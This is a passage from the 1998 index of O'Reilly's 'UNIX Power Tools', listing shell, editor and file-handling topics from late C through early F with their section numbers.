12.1.1. Foreground and Background
38.8. What Are Signals?
putting jobs in background : 42.2.3. Program Waiting for Input?
stopping a subshell : 38.4. Subshells
used during sourcing : 47.2.2.1. Built-Ins
CTS (Clear to Send) : 41.2.4. Flow Control (We Hope)
cur function : 10.9. Shell Functions
curly braces : (see { })
curly quotes : 43.21. Preprocessing troff Input with sed
current directory
1.21. Making Pathnames
6.3. Predefined Environment Variables
7.11. dirs in Your Prompt: Better than $cwd
10.9. Shell Functions
14.13. Which Directory Am I in, Really?
38.3. Managing Processes: Overall Concepts
advantages : 14.3. What Good Is a Current Directory?
finding : 14.4. How Does UNIX Find Your Current Directory?
current job : 12.3. The "Current Job" Isn't Always What You Expect
custom commands
advantages of : 1.4. Using Pipes to Create a New Tool
directories : 1.10. Internal and External Commands
custom shells : 2.1. Customizing the Shell
customizing
Emacs searching : 32.8. Rational Searches
grep commands : 27.12. Make Custom grep Commands (etc.) with perl
keys : (see key definitions)
cut command
35.14. Cutting Columns or Fields with cut
52.4. Quick Descriptions of What's on the Disc
advantages : 45.30.2. Using echo with awk, colrm, or cut
awk compared to : 45.30.2. Using echo with awk, colrm, or cut
as filter in index program : 48.12. Using index with a Filter
cvtbase program
49.5. Base Conversion Using cvtbase
52.4. Quick Descriptions of What's on the Disc
cw script : 22.10. cx, cw, c-w: Quick File Permission Changes
cwd shell variable
6.9. Special C Shell Variables
7.11. dirs in Your Prompt: Better than $cwd
14.13. Which Directory Am I in, Really?
cx script : 22.10. cx, cw, c-w: Quick File Permission Changes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: D

daemons : 1.14. The Kernel and Daemons
controlling terminal and : 38.6. The Controlling Terminal
restarting with the kill command : 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
dashes : (see - (hyphen))
databases
created using awk : 48.10. Working with Names and Addresses
index program for creating : 48.11. The index Database Program
searching : 17.19. Finding Files (Much) Faster with a find Database
date : (see time)
date command
7.12. External Commands Send Signals to Set Variables
16.16. Picking a Unique Filename Automatically
21.14. Automatically Appending the Date to a Filename
51.10. The date Command
52.4. Quick Descriptions of What's on the Disc
cal program using : 48.7. cal That Marks Today's Date
examples : 51.10. The date Command
day-of-month in crontab entries : 40.12.1. Execution Scheduling
dbm files : 24.18. Huge Files Might Not Take a Lot of Disk Space
dc program
49.1. bc: Simple Math at the Shell Prompt
(see also calculators)
DCL : (see VAX/VMS command language)
dd command
35.6. Low-Level File Butchery with dd
52.4. Quick Descriptions of What's on the Disc
performance and : 20.6. Writing a Tape Drive on a Remote Machine
restoring from remote tape drives : 20.5. Using tar to a Remote Tape Drive
dd utility
35.12. Converting Between ASCII and EBCDIC
35.13. Other Conversions with dd
dead processes : (see zombies)
debugging
44.9. Testing Your Success
(see also errors; standard error)
Bourne shell scripts
44.8. Test Exit Status with the if Statement
46.1. Tips for Debugging Shell Scripts
echo command used for : 46.2. Quoting Trouble? Think, Then Use echo
output
46.1.1. Use -xv
(see also standard output)
piping to pager : 46.1.1. Use -xv
debugging output : 46.1.1. Use -xv
decimals, ASCII character conversion : 45.11. The Multipurpose jot Command
decryption : (see encryption)
<defunct> status under System V : 38.10. Destroying Processes with kill
DEL (to interrupt) : 41.2.1. How We Made It This Far (Back?)
del script
23.6. A Faster Way to Remove Files Interactively
52.4. Quick Descriptions of What's on the Disc
DELETE : 41.2.2. Handling Most Characters
delete command : 52.4. Quick Descriptions of What's on the Disc
delete command (awk) : 33.11.7. Alphabetical Summary of Commands
delete command (ex) : 33.4. Useful ex Commands
DELETE key
deleting on command line : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
erase character : 51.6. Cleaning script Files
location for : 2.13. A .cshrc.$HOST File for Per Host Setup
delete script : 23.9. delete: Protecting Files from Accidental Deletion
deleting
directories
23.17. Problems Deleting Directories
23.18. How Making and Deleting Directories Works
50.12. Common UNIX Error Messages
errors caused by : 50.12. Common UNIX Error Messages
files
1.15. Filenames
21.11. Safer Removing, Moving, and Copying
23.2. rm and Its Dangers
23.5. Remove Some, Leave Some
23.10. Deletion with Prejudice: rm -f
45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
"by : 23.21. Removing Every File but One
by last access date : 23.20. Deleting Stale Files
emptying files instead of : 24.1. Instead of Removing a File, Empty It
find command and : 23.22. Using find to Clear Out Unneeded Files
by i-number : 23.16. Removing a Strange File by its I-number
interactively : 23.6. A Faster Way to Remove Files Interactively
safeguards against
20.13. SCCS Basics
21.11. Safer Removing, Moving, and Copying
23.7. Safer File Deletion in Some Directories
23.9. delete: Protecting Files from Accidental Deletion
with special filename characters : 23.11. Deleting Files with Odd Names
with unlink command : 23.15. Using unlink to Remove a File with a Strange Name
man pages : 23.19. Deleting (BSD) Manual Pages that Aren't Read
whitespace
25.9. Adding and Deleting White Space
25.13. pushin: Squeeze Out Extra White Space
wildcards and : 23.2. rm and Its Dangers
delta command (SCCS) : 20.13. SCCS Basics
deroff command : 29.10. Just the Words, Please
detaching sessions : 3.7. Detaching a Session with screen
/dev directory : 13.1. Using Standard Input and Output
/dev/tty file
examples : 47.2.1.1. Writing Files
/dev/null file
examples
44.10.2. Looping Until a Command Fails
45.36. Shell Lockfile
/dev/null file
13.14. What Can You Do with an Empty File?
13.15. What to Do with a Full Bit Bucket :-)
/dev/tty file : 13.3. Send (only) Standard Error Down a Pipe
/dev/zero file : 13.14. What Can You Do with an Empty File?
device drivers, resetting : 38.15. Cleaning Up an Unkillable Process
device numbers : 17.22. Finding the Links to a File
df command
17.22. Finding the Links to a File
24.9. How Much Disk Space?
52.4. Quick Descriptions of What's on the Disc
examples : 45.30.4. Using sed
dialback script : 9.26.1. Dialback
dictionary files : 29.1. The UNIX spell Command
adding to : 29.5. Adding Words to ispell's Dictionary
diff command
2.14. motd.diff: Show New Lines in Login Messages
28.1. Checking Differences with diff
52.4. Quick Descriptions of What's on the Disc
(see also bdiff command; ediff command)
-c option : 28.3. Context diffs
-e option
28.1. Checking Differences with diff
28.9. ex Scripts Built by diff
example : 33.6. Change Many Files by Editing Just One
-f option : 16.22. Comparing Two Directory Trees with dircmp
-h option : 28.7. diff for Very Long Files: bdiff
-t option : 28.10. Problems with diff and Tabstops
diff3 script
28.2. Comparing Three Different Versions with diff3
52.4. Quick Descriptions of What's on the Disc
diffmk command : 28.15. Show Changes in a troff File with diffmk
dir_path script
16.21. Finding All Directories with the Same Name
52.4. Quick Descriptions of What's on the Disc
dircmp command : 16.22. Comparing Two Directory Trees with dircmp
directories : 23.18. How Making and Deleting Directories Works
!$ sequence and : 11.3. My Favorite Is !$
absolute pathnames and : 14.2. Using Relative and Absolute Pathnames
access to : 1.25. Access to Directories
advantages of : 4.7. Make More Directories!
archives/backups of
20.1. tar in a Nutshell
20.8.1. Including Other Directories
automatic setup of : 14.14. Automatic Setup When You Enter/Exit a Directory
CD-ROM packages : 52.5.3.1. Directory Structure
changing : 14.5. Saving Time When You Change Directories: cdpath
copying/moving files to : 21.12. Copying Files to a Directory
creating : 4.8. Making Directories Made Easier
current
10.9. Shell Functions
14.3. What Good Is a Current Directory?
14.4. How Does UNIX Find Your Current Directory?
14.13. Which Directory Am I in, Really?
current working : 38.3. Managing Processes: Overall Concepts
deleting
23.17. Problems Deleting Directories
50.12. Common UNIX Error Messages
directory stack : 14.6. The Shells' pushd and popd Commands
emacs hacks : 4.4. Directories for Emacs Hacks
file representation in : 18.2. What's Really in a Directory
files in : 1.19. The Tree Structure of the Filesystem
finding : 14.10. Variables Help You Find Directories and Files
home
1.20. Your Home Directory
14.11. Finding (Anyone's) Home Directory, Quickly
(see home directories)
linking : 18.7. Linking Directories
links to : 18.4.2. Links to a Directory
listing at top of screen : 21.10. Keep a Directory Listing at Top of the Screen: dirtop
listing contents of : 16.8. The ls -d Option
matching with wildcards : 15.10. Wildcards that Match Only Directories
names of : 45.18.1. Introduction to basename and dirname
notification of change to : 21.8.1.3. Watching Directories
ownership
22.2.1. User, Group, and World
22.3. Who Will Own a New File?
parsing from pathnames : 16.17. Getting Directory Name from a File's Pathname
permissions
21.14. Automatically Appending the Date to a Filename
(see permissions)
printing files to : 9.5. Build Strings with { }
private
4.5. Private (Personal) Directories
4.7. Make More Directories!
redundantly named : 16.21. Finding All Directories with the Same Name
remotely mounted : 5.6. Checklist: Terminal Hangs When I Log In
root : (see root directory)
safer file deletion in : 23.7. Safer File Deletion in Some Directories
in search path : 8.7. Setting Your Search Path
subdirectories : 1.20. Your Home Directory
creating : 9.5. Build Strings with { }
links in : 18.4.2. Links to a Directory
listing with ls -R : 16.4. List All Subdirectories with ls -R
on tape drives : 20.4.1. Restoring a Few Files
temporary files : (see /tmp directory)
temporary changes in : 13.7.2. Temporary Change of Directory and Environment
trees of
16.19. stree: Simple Directory Tree
16.22. Comparing Two Directory Trees with dircmp
16.23. Comparing Filenames in Two Directory Trees
(see trees, directory)
find command and : 17.2. Delving Through a Deep Directory Tree
trimming : 24.15. Trimming a Directory
"directory not empty" error message : 50.12. Common UNIX Error Messages
directory stacks : 14.6. The Shells' pushd and popd Commands
in arrays : 47.5. Using C Shell Arrays
directory structure : 52.5.3.1. Directory Structure
dirname command
16.17. Getting Directory Name from a File's Pathname
45.18. Using basename and dirname
52.4. Quick Descriptions of What's on the Disc
bugs in : 45.18.1. Introduction to basename and dirname
examples : 45.18. Using basename and dirname
loops using : 45.18.2. Use with Loops
dirs command
14.6. The Shells' pushd and popd Commands
14.13. Which Directory Am I in, Really?
output in prompt setting : 7.11. dirs in Your Prompt: Better than $cwd
dirtop script
21.10. Keep a Directory Listing at Top of the Screen: dirtop
52.4. Quick Descriptions of What's on the Disc
disk bandwidth issues
forms : 39.12.3. The I/O Subsystem
disk quotas
22.20. Why Can't You Change File Ownership Under BSD UNIX?
24.17. Disk Quotas
disk space
compressed files and : (see compressed files)
emptyig files and : 24.1. Instead of Removing a File, Empty It
hard links vs. symbolic links : 14.14. Automatic Setup When You Enter/Exit a Directory
links and : 24.4. Save Space with a Link
log files and : 24.2. Save Space with Bit Bucket Log Files and Mailboxes
memory contention : 39.12.2. The Memory Subsystem
reports on : 24.9. How Much Disk Space?
strip command and : 24.13. Save Space in Executable Files with strip
trimming directories and : 24.15. Trimming a Directory
unlinking open files and : 24.3. Unlinking Open Files Isn't a Good Idea
vtree program and : 16.20. The vtree Visual Directory Tree Programs
DISPLAY environment variable
2.12. Automatic Setups for Different Terminals
6.3. Predefined Environment Variables
display, vis compared to : 51.7. When You Get Impatient
ditroff program : 43.13. The Text Formatters nroff, troff, ditroff, ...
do command (awk) : 33.11.7. Alphabetical Summary of Commands
doctor program : 32.13. An Absurd Amusement
documentation : (see manual pages)
dollar sign : (see $)
done command : 50.3. apropos on Systems Without apropos
dot : (see .)
dot files : 16.11. Showing Hidden Files with ls -A and -a
matching with wildcards : 15.5. Matching All "Dot Files" with Wildcards
double quotes : (see ")
double-spacing text : 25.12. Double Space, Triple Space ...
doublespace script : 52.4. Quick Descriptions of What's on the Disc
Dougherty, Dale : 1.7. Power Grows on You
du command
24.9. How Much Disk Space?
52.4. Quick Descriptions of What's on the Disc
dump utility : 1.23. File Access Permissions
dup, file descriptors : 47.2.1.1. Writing Files
duplicate lines, deleting
35.20. Quick Reference: uniq
36.6. Miscellaneous sort Hints
DVI format documentation : 52.5.3.4. Installing a Single Program

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: E

EBCDIC conversion : 35.12. Converting Between ASCII and EBCDIC
echo command : 6.8. Shell Variables
in bash cells : 46.10. A Portable echo Command
in Bourne shell scripts : 44.12. Trapping Exits Caused by Interrupts
in C shell : 47.2.1.1. Writing Files
combining two : 45.30.2. Using echo with awk, colrm, or cut
command-line arguments : 8.6. Output Command-Line Arguments
control characters used with
45.35.1. With echo
45.35.2. With tr and echo
creating error messages : 8.6.2. Making Error Messages
debugging using : 46.2. Quoting Trouble? Think, Then Use echo
-e option : 46.10. A Portable echo Command
-E option : 46.10. A Portable echo Command
escape sequences interpreted by : 46.10. A Portable echo Command
examples
44.5. Test String Values with Bourne Shell case
44.12. Trapping Exits Caused by Interrupts
44.18. Standard Command-Line Parsing
45.27. Turn Off echo for "Secret" Answers
47.2.1.1. Writing Files
47.2.4. Quoting
external versions of : 8.11. Which One Will bash Use?
interpreting octal numbers : 45.35.1. With echo
-n option : 46.10. A Portable echo Command
sending escape sequences : 41.9. Commands to Adjust Your Terminal
shell scripts using : 45.27. Turn Off echo for "Secret" Answers
showing values of variables : 6.1. What Environment Variables Are Good For
turning off : 45.27. Turn Off echo for "Secret" Answers
version differences : 46.10. A Portable echo Command
writing special escape sequences : 7.6. Session Information in Your Terminal's Status Line
echo flag, turning off : 41.2.2. Handling Most Characters
echo shell variable
6.9. Special C Shell Variables
8.17. verbose and echo Variables Show Quoting
echoing
smart : 41.5. Why Some Systems Backspace over Prompts
ed editor
diff command and : 28.9. ex Scripts Built by diff
file size limits : 33.8. Batch Editing Gotcha: Editors Bomb on Big Files
no matches : 33.7. ed/ex Batch Edits: Avoid Errors When No Match
ediff script
28.8. More Friendly diff Output
52.4. Quick Descriptions of What's on the Disc
edit command (SCCS) : 20.13. SCCS Basics
editing
compressed files : 24.11. Edit Compressed Files with zvi, zex, and zed
paired item checking : 29.9. Looking for Closure
with power tools : 1.6. Power Tools for Editing
spell checking : (see spell checking)
with file comparisons : 28.9. ex Scripts Built by diff
EDITOR environment variable : 6.3. Predefined Environment Variables
editors
ed : (see ed editor)
EDITOR variable : 6.3. Predefined Environment Variables
Emacs : (see Emacs editor)
ex : (see ex editor)
patch program : (see patch)
qsubst program : 33.10. Quick Globals from the Command Line with qsubst
scripting line editors : 33.1. Why Line Editors Aren't Dinosaurs
sed : (see sed editor)
vi : (see vi editor)
egrep : 52.4. Quick Descriptions of What's on the Disc
egrep expressions
calendar command : 48.4. Automatic Reminders and More: calendar
case statements building : 48.2. Online Phone and Address Lists
examples : 48.2. Online Phone and Address Lists
for loop building : 48.2. Online Phone and Address Lists
options : 48.2. Online Phone and Address Lists
egrep script
17.21. lookfor: Which File Has that Word?
26.4.11. Extended Regular Expressions
27.5. Extended Searching for Text with egrep
27.9. New greps Are Much Faster
27.16. Faking Case-Insensitive Searches
| (vertical bar) : 27.5. Extended Searching for Text with egrep
catman compared to : 50.3. apropos on Systems Without apropos
examples : 50.3. apropos on Systems Without apropos
-f option : 27.7. grepping for a List of Patterns
-i option : 50.6. Searching Online Manual Pages
picking the processes to kill : 38.13. Interactively Kill Processes Matching a Pattern
plus sign (+) : 27.5. Extended Searching for Text with egrep
question mark (?) : 27.5. Extended Searching for Text with egrep
searching manual pages : 50.6. Searching Online Manual Pages
eight-bit filenames : 23.15. Using unlink to Remove a File with a Strange Name
elapsed time
39.2. Timing Programs
39.5. Why Is the System So Slow?
elookfor : 52.4. Quick Descriptions of What's on the Disc
elookfor script : 17.21. lookfor: Which File Has that Word?
else statement
44.8. Test Exit Status with the if Statement
(see also if loops)
examples : 44.8. Test Exit Status with the if Statement
em-dashes : 43.21. Preprocessing troff Input with sed
Emacs : 52.4. Quick Descriptions of What's on the Disc
emacs
emacs mode command-line editing : 11.13. Shell Command-Line Editing
Emacs editor
abbreviations : 32.11. Using Word Abbreviation Mode
advantages over other editors : 32.1. Emacs: The Other Editor
auto-save file : 32.4. Backup and Auto-Save Files
backup file : 32.4. Backup and Auto-Save Files
C shell's PWD and : 32.9. Unset PWD Before Using Emacs
command completion : 32.6. Command Completion
global initialization file : 32.3. Customizations and How to Avoid Them
insert mode versus overwrite : 32.5. Putting Emacs in Overwrite Mode
key mapping : 32.7. Mike's Favorite Time Savers
mouse-based editors versus : 32.2. Emacs Features: A Laundry List
quoting control characters : 32.10. Inserting Binary Characters into Files
search customizations : 32.8. Rational Searches
x-on/x-off flow control : 32.12. Getting Around Emacs Flow Control Problems
emacs editor
directory for : 4.4. Directories for Emacs Hacks
temporary files generated by : 14.11. Finding (Anyone's) Home Directory, Quickly
.emacs file
32.3. Customizations and How to Avoid Them
32.11.2. Making Word Abbreviations Part of Your Startup
.emacs_ml file : 32.7. Mike's Favorite Time Savers
.emacs_ml file : 52.4. Quick Descriptions of What's on the Disc
email
multiple mailboxes : 21.8.1.1. Multiple Mailboxes
notification of : 21.8. The MAILCHECK and mail Variables Check More than Mail
emoticons : 51.12. You Don't Have Enough Smileys?
empty files
13.14. What Can You Do with an Empty File?
21.7. Setting File Modification Time with touch
emptying files : 24.1. Instead of Removing a File, Empty It
enable command : 8.11. Which One Will bash Use?
encoding arguments in termcap or terminfo entries : 41.11.2. Encoding Arguments
encryption : 22.17. Ways of Improving the Security of crypt
End of file unexpected : 46.1.2. Unmatched Operators
error message : 46.1. Tips for Debugging Shell Scripts
end-of-file (EOF) character : 13.14. What Can You Do with an Empty File?
end-of-input character
effect on subshells : 38.4. Subshells
end-of-line processing : 5.11. Initializing the Terminal with tset
enscript program : 43.22. Converting Text Files to PostScript
.enter file : 14.14. Automatic Setup When You Enter/Exit a Directory
.enter.csh script : 52.4. Quick Descriptions of What's on the Disc
.enter.sh script : 52.4. Quick Descriptions of What's on the Disc
entomb system : 23.9. delete: Protecting Files from Accidental Deletion
env command
6.1. What Environment Variables Are Good For
6.8. Shell Variables
14.10. Variables Help You Find Directories and Files
52.4. Quick Descriptions of What's on the Disc
ENV environment variable
2.11. Faster ksh and bash Startup with $- Test
6.3. Predefined Environment Variables
environment : 38.3. Managing Processes: Overall Concepts
modifying : 44.23. Reading Files with the . and source Commands
temporary changes in : 13.7.2. Temporary Change of Directory and Environment
writing into temporary files : 40.4. Choosing the Shell Run (We Hope) by at
environment variables
2.12. Automatic Setups for Different Terminals
14.10. Variables Help You Find Directories and Files
45.24. A Shell Can Read a Script from its Standard Input, But...
(see also under specific variable names)
advantages : 6.1. What Environment Variables Are Good For
in Bourne shell : 47.2.5. Variable Syntax
in C shell : 47.2.5. Variable Syntax
changed inside redirected loops : 45.23. The Ins and Outs of Redirected I/O Loops
setting : 2.2.2. C Shell
epsffit program : 43.24. Other PostScript Utilities
equations
43.12.1. troff
43.12.2. TeX
erase character
5.9. Setting Your Erase, Kill, and Interrupt Characters
41.2.2. Handling Most Characters
BACKSPACE : 51.6. Cleaning script Files
DELETE : 51.6. Cleaning script Files
error messages
capturing for screen : 42.8. Errors Erased Too Soon? Try These Workarounds
creating : 8.6.2. Making Error Messages
installation process : 52.8.2.6. An Easy Build
program names included in : 44.22. Finding a Program Name; Multiple Program Names
scrolling off screen : 13.4. Problems Piping to a Pager
errors
44.9. Testing Your Success
(see also debugging; standard error)
Arguments too long : 9.20. Too Many Files for the Command Line
"Arguments too long" : 9.23. Workaround for "Arguments too long" Error
handled in C shell : 47.2.7. Error Handling
in redirected loops : 45.23. The Ins and Outs of Redirected I/O Loops
"No match" : 15.4. What if a Wildcard Doesn't Match?
stderr : (see standard error)
storing with logerrs script : 13.16. Store and Show Errors with logerrs
errors, syntax
in numeric tests : 46.4. Stop Syntax Errors in Numeric Tests
in string tests : 46.5. Stop Syntax Errors in String Tests
ESC key
file completion and : 9.9. Don't Match Useless Files in Filename Completion
ESC Z string : 5.5. Querying Your Terminal Type: qterm
escape sequences
5.8. Terminal Escape Sequences
41.9. Commands to Adjust Your Terminal
backslash character and : 8.6.1. Portability
copied into files : 51.5. Copy What You Do with script
echo command interpreting : 46.10. A Portable echo Command
prompt settings and : 7.8. Highlighting in Shell Prompts
removing : 43.19. Removing Leading Tabs and Other Trivia
writing with echo command : 7.6. Session Information in Your Terminal's Status Line
/etc/motd script : 2.14. motd.diff: Show New Lines in Login Messages
/etc/passwd file
corrupted : 50.12. Common UNIX Error Messages
/etc/passwd file : 1.23. File Access Permissions
/etc/shells file : 2.16. Approved Shells: Using Unapproved Login Shell
/etc/ttys file : 2.12. Automatic Setups for Different Terminals
/etc/ttytab file : 2.12. Automatic Setups for Different Terminals
eval command : 5.3. Setting the Terminal Type When You Log In
advantages : 8.10. eval: When You Need Another Chance
awk compared to : 44.14. Putting awk, sed, etc., Inside Shell Scripts
examples
45.14. Finding the Last Command-Line Argument
45.30.4. Using sed
if-then-else in aliases : 10.7. How to Put if-then-else in a C Shell Alias
scanning contents of variables : 45.17. Making a for Loop with Multiple Variables
sed combined with : 45.30.4. Using sed
shell variables and : 10.10. Simulated Bourne Shell Functions and Aliases
simulating arrays : 45.34. Arrays in the Bourne Shell
ex editor
abbreviations
30.31. vi Word Abbreviation
31.9. Good Stuff for Your .exrc File
appending to file : 30.13. Appending to an Existing File
capitalizing words : 30.17. Capitalizing Every Word on a Line
command descriptions : 33.4. Useful ex Commands
confirming substitutions : 30.10. Confirming Substitutions in ex and vi
counting occurrences : 30.16. Counting Occurrences; Stopping Search Wraps
deleting by patterns : 30.14. Moving Blocks of Text by Patterns
diff command and : 28.9. ex Scripts Built by diff
file recovery : 30.24. vi/ex File Recovery vs. Networked Filesystems
filtering text : 30.22. Filtering Text Through a UNIX Command
global command : 30.9.1. Global Searches
line addressing : 33.3. Line Addressing
modelines : 30.19. Modelines: Bug or Feature?
moving by patterns : 30.14. Moving Blocks of Text by Patterns
multiple setup files
30.20. Multiple Editor Setup Files; Starting with a Search
30.21. Per File Setups in Separate Files
no matches : 33.7. ed/ex Batch Edits: Avoid Errors When No Match
open mode : 30.36. The ex Open Mode Can Be Handy
patterns
30.9. Using Search Patterns and Global Commands
30.14. Moving Blocks of Text by Patterns
quoting control characters : 31.6. Protecting Keys from Interpretation by ex
quoting | (vertical bar) : 31.6. Protecting Keys from Interpretation by ex
reverting to saved : 30.4. Editing Multiple Files with vi
save as new file : 30.4. Editing Multiple Files with vi
saving as new file : 30.11. Keep Your Original File, Write to a New File
saving part of file : 30.12. Saving Part of a File
scripting : 33.3. Line Addressing
settings
30.6. Local Settings for vi and ex
30.18. Setting vi Options Automatically for Individual Files
startup commands : 30.6. Local Settings for vi and ex
stopping search wraps : 30.16. Counting Occurrences; Stopping Search Wraps
switching between files : 30.4. Editing Multiple Files with vi
transfer text between files : 30.5. Edits Between Files
undoing changes : 30.10. Confirming Substitutions in ex and vi
yank buffers : 30.5. Edits Between Files
examples : 51.11. Making an Arbitrary-Size File for Testing
exclamation point : (see !)
exclamation point (!)
test command using : 44.20. test: Testing Files and Strings
exec command : 1.11. How the Shell Executes Other Commands
associating file descriptors with files : 45.22. Handling Files Line-by-Line
examples : 45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
manage file descriptors : 45.7. The exec Command
replacing C shell with Bourne shell
45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
45.7. The exec Command
typing at a shell prompt : 38.2. fork and exec
exec commands : 38.2. fork and exec
executable files
52.8.2. Compiling Source Code
52.8.2.7. Functions, Libraries, and Header Files
displaying : 45.5. A File That Shows Itself... and What #! Does
errors caused by : 50.12. Common UNIX Error Messages
executing without showing #! : 45.5. A File That Shows Itself... and What #! Does
making executable by using # : 45.4. Fun with #!
permissions on : 44.2. Writing a Simple Shell Program
strip command and : 24.13. Save Space in Executable Files with strip
testing : 44.4. Testing How Your System Executes Files
execute permission
22.2. Tutorial on File and Directory Permissions
22.19. Shell Scripts Must be Readable and (Usually) Executable
without read permission : 22.12. A Directory that People Can Access but Can't List
execution statistics, report summarizing : 38.5. The ps Command
EXINIT environment variable
6.3. Predefined Environment Variables
6.10. Running a Command with a Temporarily Different Environment
10.2.2. Using More Complex Aliases
30.6. Local Settings for vi and ex
30.35. Out of Temporary Space? Use Another Directory
exit command : 44.11. Set Exit Status of a Shell (Script)
.cshrc file : 2.9. Speeding Up Your C Shell with set prompt Test
effect on subshells : 38.4. Subshells
examples : 44.5. Test String Values with Bourne Shell case
redirected loops using : 45.23. The Ins and Outs of Redirected I/O Loops
to end scripts : 51.5. Copy What You Do with script
exit command (awk) : 33.11.7. Alphabetical Summary of Commands
exit command (lpc) : 43.3. Printer Control with lpc
.exit file : 14.14. Automatic Setup When You Enter/Exit a Directory
exit status
44.8. Test Exit Status with the if Statement
(see also status variable)
of loops : 45.19. A while Loop with Several Loop Control Commands
non-zero : 46.9. If Command Doesn't Return a Status, Test the Error Messages
of background jobs : 44.7. Exit Status of UNIX Processes
of commands in Bourne shell scripts : 44.7. Exit Status of UNIX Processes
of pipelines : 44.7. Exit Status of UNIX Processes
of redirected loops : 45.23. The Ins and Outs of Redirected I/O Loops
returned by processes : 38.3. Managing Processes: Overall Concepts
testing
44.8. Test Exit Status with the if Statement
44.10. Loops That Test Exit Status
46.9. If Command Doesn't Return a Status, Test the Error Messages
values for expr
45.28. Quick Reference: expr
45.29. Testing Characters in a String with expr
zero
44.10. Loops That Test Exit Status
45.9. The Unappreciated Bourne Shell ":" Operator
46.9. If Command Doesn't Return a Status, Test the Error Messages
.exit.csh script : 52.4. Quick Descriptions of What's on the Disc
.exit.sh script : 52.4. Quick Descriptions of What's on the Disc
exp command (awk) : 33.11.7. Alphabetical Summary of Commands
expand command
41.4.1. TAB Is Just Another Character to UNIX
52.4. Quick Descriptions of What's on the Disc
Expect : 52.4. Quick Descriptions of What's on the Disc
Expect program : 9.26. Expect
testing interactive programs : 9.26.3. Testing: A Story
expr command
45.28. Quick Reference: expr
52.4. Quick Descriptions of What's on the Disc
advantages
45.30.1. Matching with expr
49.1. bc: Simple Math at the Shell Prompt
alternatives to : 45.11. The Multipurpose jot Command
arguments
$* : 45.30.1. Matching with expr
$@ : 45.30.1. Matching with expr
as calculator
49.1. bc: Simple Math at the Shell Prompt
49.6. Quick Arithmetic with expr
disadvantages : 45.30.1. Matching with expr
examples : 45.28. Quick Reference: expr
exit status values
45.28. Quick Reference: expr
45.29. Testing Characters in a String with expr
jot compared to : 45.11. The Multipurpose jot Command
listing command-line arguments : 45.30.1. Matching with expr
loops using : 45.11. The Multipurpose jot Command
matching character strings : 45.30.1. Matching with expr
operators : 45.28. Quick Reference: expr
syntax
45.28. Quick Reference: expr
45.28.1. Examples
testing character strings : 45.29. Testing Characters in a String with expr
variables : 45.28.1. Examples
expressions
in C shell
47.4.2. Expressions
47.4.4. Examples
conditional : 44.8. Test Exit Status with the if Statement
expressions, conditional
44.8. Test Exit Status with the if Statement
(see also if loops; for loops; foreach loops; while loops; unless loops)
expunge program : 52.4. Quick Descriptions of What's on the Disc
exrc file (on disc) : 52.4. Quick Descriptions of What's on the Disc
.exrc file
4.9. Setting Up vi with the .exrc File
30.6. Local Settings for vi and ex
30.18. Setting vi Options Automatically for Individual Files
31.9. Good Stuff for Your .exrc File
EXSTAT environment variable : 30.20. Multiple Editor Setup Files; Starting with a Search
exta, extb rates : 41.2.1. How We Made It This Far (Back?)
extended regular expressions : 26.4.11. Extended Regular Expressions
extensions, filename
1.17. Filename Extensions
4.6. Naming Files
"external control" rates : 41.2.1. How We Made It This Far (Back?)
external commands
1.10. Internal and External Commands
7.4. Faster Prompt Setting with Built-Ins
executing : 1.11. How the Shell Executes Other Commands
setting variables with : 7.12. External Commands Send Signals to Set Variables
extractres program : 43.24. Other PostScript Utilities

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: F

.F filename extension : 1.17. Filename Extensions
.f filename extension : 1.17. Filename Extensions
F# keys : 12.9. Running Multiple Shell Sessions with screen
false exit status : 44.7. Exit Status of UNIX Processes
false program : 52.4. Quick Descriptions of What's on the Disc
fast find : 17.18. Using "Fast find"
with database : 17.19. Finding Files (Much) Faster with a find Database
fc command : 11.14.2. In ksh and bash: fc
fg command
12.1.1. Foreground and Background
12.2. Other Ways to Refer to Jobs
fgrep : 52.4. Quick Descriptions of What's on the Disc
fgrep script : 27.6. Fast grep Isn't
fi statements : (see if statement)
fi unexpected : 46.1.4. Missing or Extra esac, ;;, fi, etc.
fignore shell variable
6.9. Special C Shell Variables
9.9. Don't Match Useless Files in Filename Completion
file command
16.26. Finding Text Files with findtext
47.4.3.5. File Inquiry Operators
file descriptors : 38.3. Managing Processes: Overall Concepts
associated with files : 45.22. Handling Files Line-by-Line
closing : 47.2.1.3. Closing FDs
managing
45.7. The exec Command
47.2.1. File Descriptors
redirecting : 45.21. n>&m: Swap Standard Output and Standard Error
uses for : 45.20. Overview: Open Files and File Descriptors
file permissions : (see permissions)
file pointer : 45.22. Handling Files Line-by-Line
file recovery : 30.24. vi/ex File Recovery vs. Networked Filesystems
file size : 24.5. Limiting File Sizes
batch editing and : 33.8. Batch Editing Gotcha: Editors Bomb on Big Files
File Transfer Protocol : (see ftp program)
file types, finding : 25.8. Finding File Types
filec shell variable : 6.9. Special C Shell Variables
filenames
appending date to : 21.14. Automatically Appending the Date to a Filename
